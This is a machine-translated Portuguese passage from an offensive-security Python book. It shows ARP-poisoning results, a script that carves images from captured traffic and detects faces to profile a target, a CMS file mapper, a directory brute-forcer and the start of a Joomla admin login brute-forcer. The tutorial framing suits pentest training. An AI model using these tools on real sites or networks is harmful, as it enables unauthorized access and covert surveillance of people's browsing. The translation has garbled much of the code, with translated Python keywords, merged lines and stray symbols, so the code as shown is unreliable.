172.16.1.254 10-40-f3-ab-71-02 dinâmico
172.16.1.255 ff-ff-ff-ff-ff-ff estático
224.0.0.22 01-00-5e-00-00-16 estático
224.0.0.251 01-00-5e-00-00-fb estático
224.0.0.252 01-00-5e-00-00-fc estático
255.255.255.255 ff-ff-ff-ff-ff-ff estático

Agora você pode ver que a pobre Clare (é difícil ser casada com um hacker, hackear não é fácil, etc.) agora tem seu
cache ARP envenenado, onde o gateway agora tem o mesmo endereço MAC do computador atacante. Você pode
ver claramente na entrada acima do gateway que estou atacando de 172.16.1.64.
Quando o ataque terminar de capturar os pacotes, você deverá ver um arquivo arper.pcap no mesmo diretório do
seu script. É claro que você pode fazer coisas como forçar o computador de destino a fazer proxy de todo o seu
tráfego por meio de uma instância local do Burp ou fazer várias outras coisas desagradáveis. Você pode querer
manter esse PCAP para a próxima seção sobre processamento de PCAP - você nunca sabe o que pode encontrar!
Machine Translated by Google
Processamento de PCAP O
Wireshark e outras ferramentas como o Network Miner são ótimos para explorar arquivos de captura de pacotes
de forma interativa, mas haverá momentos em que você deseja dividir e dividir PCAPs usando Python e Scapy.
Alguns grandes casos de uso estão gerando casos de teste fuzzing com base no tráfego de rede capturado ou até
mesmo algo tão simples quanto repetir o tráfego que você capturou anteriormente.

Vamos dar uma olhada um pouco diferente nisso e tentar extrair arquivos de imagem do tráfego HTTP. Com esses
arquivos de imagem em mãos, usaremos o OpenCV, [9] uma ferramenta detectar
de visãoimagens
computacional,
que contenham
para tentar
rostos
humanos para que possamos restringir imagens que possam ser interessantes.
Podemos usar nosso script de envenenamento ARP anterior para gerar os arquivos PCAP ou você pode estender
o sniffer de envenenamento ARP para fazer detecção facial instantânea de imagens enquanto o alvo está
navegando. Vamos começar inserindo o código necessário para executar a análise PCAP. Abra pic_carver.py e
digite o seguinte código:
importar re
importar zlib
importar cv2

de scapy.all importar *

pictures_directory = "/home/justin/pic_carver/pictures" faces_directory = "/home/justin/


pic_carver/faces" pcap_file = "bhp.pcap"

def http_assembler(pcap_file):

imagens_esculpidas =
0 faces_detectadas = 0

ÿ a = rdpcap(pcap_file)

ÿ sessões = a.sessions()

para sessão em sessões:

""
http_payload =

para pacotes em sessões[sessão]:

tente:
se packet[TCP].dport == 80 ou packet[TCP].sport == 80:

ÿ # remontar o stream
http_payload += str(pacote[TCP].payload)
exceto:
passar

ÿ cabeçalhos = get_http_headers(http_payload)

se cabeçalhos for Nenhum:


Prosseguir
ÿ image,image_type = extract_image(headers,http_payload)

se a imagem não for None e image_type não for None:

# armazena a imagem
ÿ file_name = "%s-pic_carver_%d.%s" %
(pcap_file,carved_images,image_type)

fd = open("%s/%s" %
(pictures_directory,file_name),"wb")
Machine Translated by Google
fd.write(image) fd.close()

imagens_esculpidas += 1

# agora tente a detecção de rosto tente:

ÿ resultado = face_detect("%s/%s" %
(pictures_directory,file_name),file_name)

se o resultado for verdadeiro:


rostos_detectados += 1
exceto:
passar

retornar imagens_esculpidas, faces_detectadas

imagens_esculpidas, faces_detectadas = http_assembler(pcap_file)

print "Extraído: %d imagens" % carved_images print "Detectado: %d


faces" % faces_detected

Esta é a lógica do esqueleto principal de todo o nosso script e adicionaremos as funções de suporte em
breve. Para começar, abrimos o arquivo PCAP para processamento ÿ. Aproveitamos um belo recurso do Scapy
para separar automaticamente cada sessão TCP ÿ em um dicionário. Usamos isso e filtramos apenas o tráfego
HTTP e, em seguida, concatenamos a carga útil de todo o tráfego HTTP ÿ em um único buffer. Isso é efetivamente
o mesmo que clicar com o botão direito do mouse no Wireshark e selecionar Follow TCP Stream. Depois de
remontarmos os dados HTTP, passamos para nossa função de análise de cabeçalho HTTP ÿ, que nos permitirá
inspecionar os cabeçalhos HTTP individualmente. Depois de validarmos que estamos recebendo uma imagem de
volta em uma resposta HTTP, extraímos a imagem bruta ÿ e retornamos o tipo de imagem e o corpo binário da
própria imagem. Esta não é uma rotina de extração de imagens à prova de balas, mas, como você verá, funciona
incrivelmente bem. Armazenamos a imagem extraída ÿ e passamos o caminho do arquivo para nossa rotina de
detecção facial ÿ.

Agora vamos criar as funções de suporte adicionando o seguinte código acima de nossa função http_assembler .

def get_http_headers(http_payload):

tente:
# dividir os cabeçalhos se for tráfego HTTP headers_raw =
http_payload[:http_payload.index("\r\n\r\n")+2]

# quebrar os cabeçalhos headers =


dict(re.findall(r"(?P<'nome>.*?): (?P<valor>.*?)\r\n", headers_raw))

exceto:
retornar Nenhum

se "Content-Type" não estiver nos cabeçalhos:


retornar nenhum

cabeçalhos de retorno

def extract_image(cabeçalhos,http_payload):

imagem = Nenhum

image_type = Nenhum

tente:
se "imagem" nos cabeçalhos ['Tipo de conteúdo']:
Machine Translated by Google
# pegue o tipo de imagem e o corpo da imagem
image_type = headers['Content-Type'].split("/")[1]

imagem = http_payload[http_payload.index("\r\n\r\n")+4:]

# se detectarmos compactação descompacte a imagem


tente:
se "codificação de conteúdo" em headers.keys():
if headers['Content-Encoding'] == "gzip": image =
zlib.decompress(image, 16+zlib.MAX_WBITS)
elif headers['Content-Encoding'] == "deflate": image = zlib.decompress(image)

exceto:
passar
exceto:
retornar nenhum, nenhum

imagem de retorno, tipo_imagem

Essas funções de suporte nos ajudam a examinar mais de perto os dados HTTP que recuperamos de nosso
arquivo PCAP. A função get_http_headers pega o tráfego HTTP bruto e divide os cabeçalhos usando uma
expressão regular. A função extract_image pega os cabeçalhos HTTP e determina se recebemos uma imagem
na resposta HTTP. Se detectarmos que o cabeçalho Content-Type realmente contém o tipo MIME da imagem,
dividimos o tipo de imagem; e se houver compactação aplicada à imagem em trânsito, tentamos descompactá-la
antes de retornar o tipo de imagem e o buffer de imagem bruta. Agora vamos inserir nosso código de detecção
facial para determinar se há um rosto humano em alguma das imagens que recuperamos. Adicione o seguinte
código a pic_carver.py:
def face_detect(caminho, nome_do_arquivo):

ÿÿ img = cv2.imread(path) cascade =


cv2.CascadeClassifier("haarcascade_frontalface_alt.xml") rects = cascade.detectMultiScale(img, 1.3, 4,
cv2.cv.CV_HAAR_
SCALE_IMAGE, (20,20))

if len(rects) == 0: return False

rects[:, 2:] += rects[:, :2]

# destaque os rostos na imagem ÿ para x1,y1,x2,y2


em rects:
cv2.retângulo(img,(x1,y1),(x2,y2),(127,255,0),2)

ÿ cv2.imwrite("%s/%s-%s" % (faces_directory,pcap_file,file_name),img)

retornar Verdadeiro

Este código foi generosamente compartilhado por Chris Fidao em http:// www.fideloper.com/ facial-detection/ com
pequenas modificações feitas por vocês. Usando as ligações OpenCV Python, podemos ler na imagem ÿ e, em
seguida, aplicar um classificador ÿ que é treinado com antecedência para detectar faces em uma orientação
frontal. Existem classificadores para detecção de perfil (lateral), rosto, mãos, frutas e uma série de outros objetos
que você pode experimentar por si mesmo. Depois que a detecção for executada, ela retornará as coordenadas
do retângulo que correspondem a onde o rosto foi detectado na imagem. Em seguida, desenhamos um retângulo
verde real sobre essa área ÿ e escrevemos a imagem resultante ÿ. Agora vamos dar uma olhada em tudo isso
dentro de sua VM Kali.
Machine Translated by Google
Chutando os pneus
Se você não instalou primeiro as bibliotecas OpenCV, execute os seguintes comandos (novamente, obrigado,
Chris Fidao) de um terminal em sua VM Kali:
#:> apt-get install python-opencv python-numpy python-scipy

Isso deve instalar todos os arquivos necessários para lidar com a detecção facial em nossas imagens resultantes.
Também precisamos pegar o arquivo de treinamento de detecção facial da seguinte forma:

wget http://eclecti.cc/files/2008/03/haarcascade_frontalface_alt.xml

Agora crie alguns diretórios para nossa saída, insira um PCAP e execute o script. Isso deve se parecer com isto:

#:> imagens mkdir #:>


rostos mkdir
#:> python pic_carver.py
Extraído: 189 imagens Detectadas:
32 faces
#:>

Você pode ver uma série de mensagens de erro sendo produzidas pelo OpenCV devido ao fato de que algumas das
imagens que alimentamos podem estar corrompidas ou parcialmente baixadas ou seu formato pode não ser suportado.
(Vou deixar a construção de uma rotina robusta de extração e validação de imagem como uma tarefa de casa para
você.) Se você abrir seu diretório de rostos, deverá ver vários arquivos com rostos e caixas verdes mágicas
desenhadas em torno deles.

Essa técnica pode ser usada para determinar quais tipos de conteúdo seu alvo está visualizando, bem como para
descobrir abordagens prováveis por meio de engenharia social. É claro que você pode estender este exemplo além
de usá-lo em imagens esculpidas de PCAPs e usá-lo em conjunto com técnicas de rastreamento e análise da Web
descritas nos capítulos posteriores.

[8] http:// www.secdev.org/ projects/ scapy/ doc/ installation.html#windows

[9] Confira o OpenCV aqui: http:// www.opencv.org/.


Machine Translated by Google
Capítulo 5. Hackers da Web
A análise de aplicativos da Web é absolutamente crítica para um invasor ou testador de penetração. Na maioria das
redes modernas, os aplicativos da Web apresentam a maior superfície de ataque e, portanto, também são o caminho
mais comum para obter acesso. Existem várias ferramentas excelentes de aplicativos da Web que foram escritas em
Python, incluindo w3af, sqlmap e outras. Francamente, tópicos como SQLinjection foram batidos até a morte, e as
ferramentas disponíveis são maduras o suficiente para que não precisemos reinventar a roda. Em vez disso, exploraremos
os fundamentos da interação com a Web usando Python e, em seguida, desenvolveremos esse conhecimento para criar
ferramentas de reconhecimento e força bruta. Você verá como a análise de HTML pode ser útil na criação de força bruta,
ferramentas de reconhecimento e mineração de sites com muito texto. A ideia é criar algumas ferramentas diferentes
para fornecer as habilidades fundamentais de que você precisa para criar qualquer tipo de ferramenta de avaliação de
aplicativo da Web que seu cenário de ataque específico exigir.
Machine Translated by Google
A biblioteca de soquetes da Web: urllib2 Assim como escrever

ferramentas de rede com a biblioteca de soquetes, ao criar ferramentas para interagir com serviços da Web, você usará
a biblioteca urllib2 . Vamos dar uma olhada em como fazer uma solicitação GET muito simples para o site da No Starch
Press:

importar urllib2

ÿ body = urllib2.urlopen("http://www.nostarch.com")

ÿ imprimir corpo.read()

Este é o exemplo mais simples de como fazer uma solicitação GET para um site. Esteja ciente de que estamos apenas
buscando a página bruta do site No Starch e que nenhum JavaScript ou outras linguagens do lado do cliente serão
executados. Simplesmente passamos uma URL para a função urlopen ÿ e ela retorna um objeto semelhante a um
arquivo que nos permite ler de volta ÿ o corpo do que o servidor web remoto retorna. Na maioria dos casos, no entanto,
você desejará um controle mais refinado sobre como fazer essas solicitações, incluindo a capacidade de definir
cabeçalhos específicos, manipular cookies e criar solicitações POST. urllib2 expõe uma classe Request que oferece
esse nível de controle. Abaixo está um exemplo de como criar a mesma solicitação GET usando a classe Request e
definindo um cabeçalho HTTP User-Agent personalizado:
importar urllib2

url = "http://www.nostarch.com"

ÿ headers = {}
headers['User-Agent'] = "Googlebot"

ÿ request = urllib2.Request(url,headers=headers) ÿ response =


urllib2.urlopen(request)

print response.read()
response.close()

A construção de um objeto Request é um pouco diferente do nosso exemplo anterior. Para criar cabeçalhos
personalizados, você define um dicionário de cabeçalhos ÿ, que permite definir a chave e o valor do cabeçalho que
deseja usar. Nesse caso, faremos nosso script Python parecer o Googlebot. Em seguida, criamos nosso objeto Request
e passamos o url e o dicionário de cabeçalhos ÿ e, em seguida, passamos o objeto Request para a chamada de função
urlopen ÿ. Isso retorna um objeto normal semelhante a um arquivo que podemos usar para ler os dados do site remoto.

Agora temos os meios fundamentais para falar com serviços da web e sites, então vamos criar algumas ferramentas
úteis para qualquer ataque de aplicativo da web ou teste de penetração.
Machine Translated by Google
Mapeamento de instalações de aplicativos Web de código aberto Sistemas
de gerenciamento de conteúdo e plataformas de blog como Joomla, WordPress e Drupal simplificam o início de
um novo blog ou site e são relativamente comuns em um ambiente de hospedagem compartilhada ou até mesmo
em uma rede corporativa. Todos os sistemas têm seus próprios desafios em termos de instalação, configuração e
gerenciamento de patches, e esses conjuntos de CMS não são exceção. Quando um administrador de sistema
sobrecarregado ou um desenvolvedor web infeliz não segue todos os procedimentos de segurança e instalação,
pode ser uma escolha fácil para um invasor obter acesso ao servidor web.

Como podemos baixar qualquer aplicativo da Web de código aberto e determinar localmente sua estrutura
de arquivos e diretórios, podemos criar um scanner específico que pode procurar todos os arquivos acessíveis
no destino remoto. Isso pode erradicar arquivos de instalação restantes, diretórios que devem ser protegidos por
arquivos .htaccess e outros recursos que podem ajudar um invasor a obter acesso ao servidor da web. Este
projeto também apresenta o uso de objetos Python Queue , que nos permitem construir uma grande pilha de
itens thread-safe e fazer com que vários threads escolham itens para processamento. Isso permitirá que nosso
scanner seja executado muito rapidamente. Vamos abrir web_app_mapper.py e inserir o seguinte código:
import Queue
import threading import
os import urllib2

fios = 10

ÿ diretório de = "http://www.blackhatpython.com"
destino = "/Users/justin/Downloads/joomla-3.1.1" filtros =
[".jpg",".gif","png",".css"]

os.chdir(diretório)

ÿ web_paths = Queue.Queue()

ÿ para r,d,f em os.walk("."):


para arquivos em f:

remote_path = "%s/%s" % (r,arquivos) if


remote_path.startswith("."):
remote_path = remote_path[1:] se
os.path.splitext(files)[1] não estiver nos filtros:
web_paths.put(remote_path)

def teste_remoto():
ÿ enquanto não web_paths.empty(): path =
web_paths.get() url = "%s%s" %
(target, path)

solicitação = urllib2.Request(url)
experimentar:

resposta = urllib2.urlopen(pedido) conteúdo =


resposta.read()

ÿ print "[%d] => %s" % (response.code,path) response.close()

ÿ exceto urllib2.HTTPError como erro: #print "Failed


%s" % error.code
passar

ÿ para i in range(threads): print


"Spawning thread: %d" % it =
threading.Thread(target=test_remote) t.start()
Machine Translated
Começamos by Google
definindo o site de destino remoto ÿ e o diretório local no qual baixamos e extraímos o aplicativo
da web. Também criamos uma lista simples de extensões de arquivo que não estamos interessados em identificar.
Essa lista pode ser diferente dependendo do aplicativo de destino. A variável web_paths ÿ é o nosso objeto Queue
onde armazenaremos os arquivos que tentaremos localizar no servidor remoto. Em seguida, usamos a função os.walk
ÿ para percorrer todos os arquivos e diretórios no diretório local do aplicativo da web. À medida que percorremos os
arquivos e diretórios, construímos o caminho completo para os arquivos de destino e os testamos em nossa lista de
filtros para garantir que estamos procurando apenas os tipos de arquivo que desejamos. Para cada arquivo válido que
encontramos localmente, nós o adicionamos à nossa fila web_paths.

Observando a parte inferior do script ÿ, estamos criando vários encadeamentos (conforme definido na parte
superior do arquivo) que serão chamados de função test_remote . A função test_remote opera em um loop que
continuará executando até que a Fila web_paths esteja vazia. Em cada iteração do loop, pegamos um caminho da
Fila ÿ, adicionamos ao caminho base do site de destino e tentamos recuperá-lo.
Se obtivermos sucesso na recuperação do arquivo, mostraremos o código de status HTTP e o caminho completo
para o arquivo ÿ. Se o arquivo não for encontrado ou estiver protegido por um arquivo .htaccess , isso fará com que
urllib2 lance um erro, que tratamos ÿ para que o loop continue executando.
Machine Translated by Google
Chutando os pneus Para
fins de teste, instalei o Joomla 3.1.1 em minha VM Kali, mas você pode usar qualquer aplicativo da Web de código
aberto que possa implantar rapidamente ou que já esteja em execução. Ao executar web_app_mapper.py, você
deve ver uma saída como a seguinte:
Tópico de origem: 0
Tópico de origem: 1
Tópico de origem: 2
Tópico de origem: 3
Tópico de origem: 4
Tópico de origem: 5
Tópico de origem: 6
Tópico de origem: 7
Tópico de origem: 8
Tópico de origem: 9
[200] => /htaccess.txt [ 200]
=> /web.config.txt [200] => /
LICENSE.txt [200] => /
README.txt [200] => /
administrator/cache/index.html [200] => /
administrator/components /index.html [200] => /
administrator/components/com_admin/controller.php [200] => /administrator/
components/com_admin/script.php [200] => /administrator/components/
com_admin/admin.xml [ 200] => /administrator/components/com_admin/
admin.php [200] => /administrator/components/com_admin/helpers/index.html
[200] => /administrator/components/com_admin/controllers/index.html [200 ] => /
administrator/components/com_admin/index.html [200] => /administrator/components/
com_admin/helpers/html/index.html [200] => /administrator/components/com_admin/
models/index.html [ 200] => /administrator/components/com_admin/models/profile.php
[200] => /administrato r/components/com_admin/controllers/profile.php

Você pode ver que estamos pegando alguns resultados válidos, incluindo alguns arquivos .txt e arquivos XML.
Obviamente, você pode criar inteligência adicional no script para retornar apenas os arquivos nos quais está
interessado — como aqueles com a palavra install neles.
Machine Translated by Google
Diretórios de força bruta e localizações de arquivos O exemplo anterior
assumiu muito conhecimento sobre seu destino. Mas, em muitos casos em que você está atacando um
aplicativo da Web personalizado ou um grande sistema de comércio eletrônico, não estará ciente de todos os
arquivos acessíveis no servidor da Web. Geralmente, você implantará um spider, como o incluído no Burp
Suite, para rastrear o site de destino a fim de descobrir o máximo possível do aplicativo da web. No entanto,
em muitos casos, há arquivos de configuração, sobras de arquivos de desenvolvimento, scripts de depuração
e outras migalhas de segurança que podem fornecer informações confidenciais ou expor funcionalidades que
o desenvolvedor de software não pretendia. A única maneira de descobrir esse conteúdo é usar uma ferramenta
de força bruta para caçar nomes de arquivos e diretórios comuns.

Construiremos uma ferramenta simples que aceitará listas de palavras de forças brutas comuns, como o projeto
DirBuster [10]
Como
ou SVNDigger,
antes, criaremos
[11] e um
tentará
pooldescobrir
de threads
diretórios
para tentar
e arquivos
descobrir
acessíveis
o conteúdo
no servidor
de formaweb
agressiva.
de destino.
Vamos começar criando algumas funcionalidades para criar uma Fila a partir de um arquivo de lista de palavras.
Abra um novo arquivo, nomeie-o como content_bruter.py e digite o seguinte código:

import urllib2 import


threading import Queue
import urllib

tópicos = 50
target_url = "http://testphp.vulnweb.com"
wordlist_file = "/tmp/all.txt" # do SVNDigger
retomar = Nenhum

agente de usuário = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0"

def build_wordlist(wordlist_file):

# lê a lista de palavras ÿ fd =
open(wordlist_file,"rb")
raw_words = fd.readlines() fd.close()

found_resume = Palavras
falsas = Queue.Queue()

ÿ para palavra em raw_words:

palavra = palavra.rstrip()

se currículo não for Nenhum:

if found_resume:
words.put(word)
outro:
se palavra == resumir:

found_resume = True print


"Retomando a lista de palavras de: %s" % resume
outro:
palavras.put(palavra)

palavras de retorno

Essa função auxiliar é bastante direta. Lemos em um arquivo de lista de palavras ÿ e então começamos a iterar
sobre cada linha do arquivo ÿ. Temos algumas funcionalidades integradas que nos permitem retomar uma
sessão de força bruta se nossa conectividade de rede for interrompida ou se o site de destino cair. Isso pode
ser obtido simplesmente definindo a variável resume para o último caminho que o força bruta tentou. Quando o
Machine
arquivo Translated
inteiro by Google
foi analisado, retornamos uma Fila cheia de palavras para usar em nossa função de força bruta real.
Reutilizaremos essa função mais adiante neste capítulo.

Queremos que alguma funcionalidade básica esteja disponível para nosso script de força bruta. A primeira é a capacidade
de aplicar uma lista de extensões para testar ao fazer solicitações. Em alguns casos, você deseja tentar não apenas o /
admin diretamente, por exemplo, mas admin.php, admin.inc e admin.html.
def dir_bruter(word_queue,extensions=None):

enquanto não word_queue.empty():


tentativa = word_queue.get()

lista_tentativa = []

# verifique se existe uma extensão de arquivo; se não, # é um caminho de


diretório que estamos usando
ÿ E se "." não em tentativa:
try_list.append("/%s/" % tentativa) else:

try_list.append("/%s" % tentativa)

# se queremos extensões de força bruta


ÿ se extensões:
para extensão em extensões:

try_list.append("/%s%s" % (tentativa, extensão))

# iterar sobre nossa lista de tentativas de brute em try_list:

url = "%s%s" % (target_url,urllib.quote(bruto))

tente:
cabeçalhos = {}
ÿ headers["User-Agent"] = user_agent r =
urllib2.Request(url,headers=headers)

resposta = urllib2.urlopen(r)

ÿ if len(resposta.ler()):
print "[%d] => %s" % (response.code,url)

exceto urllib2.URLError,e:

if hasattr(e, 'code') e e.code != 404: print "!!! %d => %s" % (e.code,url)


ÿ

passar

Nossa função dir_bruter aceita um objeto Queue que é preenchido com palavras a serem usadas para força bruta e
uma lista opcional de extensões de arquivo para teste. Começamos testando para ver se há uma extensão de
arquivo na palavra atual ÿ e, se não houver, tratamos como um diretório que queremos testar no servidor web remoto. Se
houver uma lista de extensões de arquivo passadas em ÿ, pegamos a palavra atual e aplicamos cada extensão de arquivo
que desejamos testar. Pode ser útil aqui pensar em usar extensões como .orig e .bak sobre as extensões de linguagem
de programação regular. Depois de construirmos uma lista de tentativas de força bruta, definimos o cabeçalho User-Agent
para algo inócuo ÿ e testamos o servidor web remoto. Se o código de resposta for 200, geramos a URLÿ e, se recebermos
algo diferente de 404, também geramos ÿ porque isso pode indicar algo interessante na Web remota

servidor além de um erro "arquivo não encontrado".

É útil prestar atenção e reagir à sua saída porque, dependendo da configuração do servidor web remoto, você pode ter
que filtrar mais códigos de erro HTTP para limpar seu
Machine Translated
resultados. by Googleo script configurando nossa lista de palavras, criando uma lista de extensões e ativando
Vamos terminar
os encadeamentos de força bruta.
word_queue = build_wordlist(wordlist_file) extensions =
[".php",".bak",".orig",".inc"]

para i no intervalo (threads):


t = threading.Thread(target=dir_bruter,args=(word_queue,extensions,)) t.start()

O trecho de código acima é bastante direto e deve parecer familiar agora. Obtemos nossa lista de palavras para
força bruta, criamos uma lista simples de extensões de arquivo para testar e, em seguida, giramos um monte de
threads para fazer a força bruta.
Machine Translated by Google
Chutando os pneus OWASP
tem uma lista de aplicativos da web vulneráveis online e offline (máquinas virtuais, ISOs, etc.) com os quais
você pode testar suas ferramentas. Nesse caso, o URL referenciado no código-fonte aponta para um aplicativo da
Web com erros intencionalmente hospedado pela Acunetix. O legal é que ele mostra como a força bruta de um
aplicativo da web pode ser eficaz. Eu recomendo que você defina a variável thread_count para algo sensato, como
5 , e execute o script. Em pouco tempo, você deve começar a ver resultados como os abaixo:

[200] => http://testphp.vulnweb.com/CVS/ [200] => http://


testphp.vulnweb.com/admin/ [200] => http://
testphp.vulnweb.com/index .bak [200] => http://
testphp.vulnweb.com/search.php [200] => http://
testphp.vulnweb.com/login.php [200] => http://testphp.vulnweb .com/
images/ [200] => http://testphp.vulnweb.com/index.php [200] =>
http://testphp.vulnweb.com/logout.php [200] => http://
testphp.vulnweb.com/categories.php

Você pode ver que estamos obtendo alguns resultados interessantes do site remoto. Não posso enfatizar o
suficiente a importância de executar força bruta de conteúdo contra todos os seus destinos de aplicativos da web.
Machine Translated by Google
Autenticação de formulário HTML de força bruta Pode chegar um
momento em sua carreira de hacker da web em que você precisa obter acesso a um alvo ou, se estiver
consultando, pode precisar avaliar a força da senha em um sistema da web existente. Tornou-se cada vez
mais comum que os sistemas da Web tenham proteção contra força bruta, seja um captcha, uma equação
matemática simples ou um token de login que deve ser enviado com a solicitação. Há um número de força
bruta que pode fazer a força bruta de uma solicitação POST para o script de login, mas em muitos casos eles
não são flexíveis o suficiente para lidar com conteúdo dinâmico ou lidar com verificações simples de “você é
humano”. Criaremos um força bruta simples que será útil contra o Joomla, um popular sistema de gerenciamento
de conteúdo. Os sistemas Joomla modernos incluem algumas técnicas básicas anti-força bruta, mas ainda
carecem de bloqueios de conta ou captchas fortes por padrão.

Para aplicar força bruta ao Joomla, temos dois requisitos que precisam ser atendidos: recuperar o token de login
do formulário de login antes de enviar a tentativa de senha e garantir que aceitamos cookies em nossa sessão
urllib2 . Para analisar os valores do formulário de login, usaremos a classe nativa do Python HTMLParser. Este
também será um bom passeio rápido por alguns recursos adicionais do urllib2 que você pode empregar ao criar
ferramentas para seus próprios destinos. Vamos começar dando uma olhada no formulário de login do
administrador do Joomla. Isso pode ser encontrado navegando até http:// <yourtarget>.com/ administrator/. Por
uma questão de brevidade, incluí apenas os elementos de formulário relevantes.

<form action="/administrator/index.php" method="post" id="form-login" class="form-inline">

<input name="username" tabindex="1" id="mod-login-username" type="text" class="input-medium"


placeholder="User Name" size="15"/>

<input name="passwd" tabindex="2" id="mod-login-password" type="password" class="input-medium"


placeholder="Password" size="15"/>

<select id="lang" name="lang" class="inputbox advancedSelect">


<option value="" selected="selected">Idioma - Padrão</option> <option value="en-GB">Inglês
(Reino Unido)</option> </select>

<input type="hidden" name="option" value="com_login"/> <input type="hidden"


name="task" value="login"/> <input type="hidden" name="return"
value="aW5kZXgucGhw"/> <input type="hidden"
name="1796bae450f8430ba0d2de1656f3e0ec" value="1" />

</form>

Lendo este formulário, temos acesso a algumas informações valiosas que precisaremos incorporar em nossa
força bruta. A primeira é que o formulário é enviado para o caminho /administrator/index.php como um HTTP
POST. A seguir estão todos os campos obrigatórios para que o envio do formulário seja bem-sucedido. Em
particular, se você observar o último campo oculto, verá que seu atributo de nome está definido como uma string
longa e aleatória. Esta é a peça essencial da técnica anti-força bruta do Joomla. Essa sequência aleatória é
verificada em sua sessão de usuário atual, armazenada em um cookie e, mesmo que você esteja passando as
credenciais corretas para o script de processamento de login, se o token aleatório não estiver presente, a
autenticação falhará. Isso significa que temos que usar o seguinte fluxo de solicitação em nosso força bruta para
obter sucesso no Joomla: 1. Recupere a página de login e aceite todos os cookies que são retornados.

2. Analise todos os elementos de formulário do HTML.


3. Defina o nome de usuário e/ou senha para um palpite de nosso dicionário.
Machine
4. EnvieTranslated
um HTTPbyPOST
Google
para o script de processamento de login, incluindo todos os campos HTMLform e nosso
cookies armazenados.

5. Teste para ver se efetuamos login com sucesso no aplicativo da web.

Você pode ver que vamos utilizar algumas técnicas novas e valiosas neste script. Também mencionarei que você
nunca deve “treinar” seu ferramental em um alvo real; sempre configure uma instalação de seu aplicativo da web de
destino com credenciais conhecidas e verifique se você obtém os resultados desejados.
Vamos abrir um novo arquivo Python chamado joomla_killer.py e inserir o seguinte código:
import urllib2 import
urllib import cookielib
import threading import
sys import queue

de HTMLParser importar HTMLParser

# configurações gerais
user_thread = 10 = "admin"
nome do usuário

wordlist_file = "/tmp/cain.txt"
retomar = Nenhum

# configurações específicas de destino


ÿ target_url = "http://192.168.112.131/
administrator/index.php" target_post = "http://192.168.112.131/administrator/
index.php"

ÿ username_field= "nome de usuário"


password_field= "senha"

ÿ success_check = "Administração - Painel de Controle"

Essas configurações gerais merecem um pouco de explicação. A variável target_url ÿ é onde nosso script primeiro
baixará e analisará o HTML. A variável target_post é onde enviaremos nossa tentativa de força bruta. Com base em
nossa breve análise do HTML no login do Joomla, podemos definir as variáveis username_field e password_field ÿ para
o nome apropriado dos elementos HTML.
Nossa variável success_check ÿ é uma string que verificaremos após cada tentativa de força bruta para determinar
se obtivemos sucesso ou não. Vamos agora criar o encanamento para nossa força bruta; parte do código a seguir
será familiar, portanto, destacarei apenas as técnicas mais recentes.
classe Bruter(objeto):
def __init__(auto, nome de usuário, palavras):

self.username = nome de usuário


self.password_q = palavras
self.found = Falso

print "Configuração concluída para: %s" % nome de usuário

def run_bruteforce(self):

para i in range(user_thread): t =
threading.Thread(target=self.web_bruter) t.start()

def web_bruter(self):

enquanto não self.password_q.empty() e não self.found: bruto =


self.password_q.get().rstrip()
ÿ jar = cookielib.FileCookieJar("cookies")
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
Machine Translated by Google
resposta = opener.open(target_url)

página = resposta.read()

print "Tentando: %s : %s (%d restante)" % (self.username,brute,self.


password_q.qsize())

# analise os campos ocultos parser =


ÿ BruteParser() parser.feed(page)

post_tags = parser.tag_results

# adicione nossos campos de nome de usuário e


ÿ senha post_tags[username_field] = self.username
post_tags[password_field] = bruto

ÿ login_data = urllib.urlencode(post_tags) login_response =


opener.open(target_post, login_data)

login_result = login_response.read()

ÿ se success_check em login_result: self.found =


True
print "[*] Bruteforce bem sucedido." print "[*] Nome
de usuário: %s" % nome de usuário print "[*] Senha:
%s" % brute print "[*] Esperando que outros threads
saiam..."

Esta é a nossa classe primária de força bruta, que tratará de todas as solicitações HTTP e gerenciará os
cookies para nós. Depois de obtermos nossa tentativa de senha, configuramos nosso pote de cookies ÿ
usando a classe FileCookieJar que armazenará os cookies no arquivo de cookies . Em seguida, inicializamos
nosso abridor urllib2 , passando o cookie jar inicializado, que diz a urllib2 para passar quaisquer cookies para
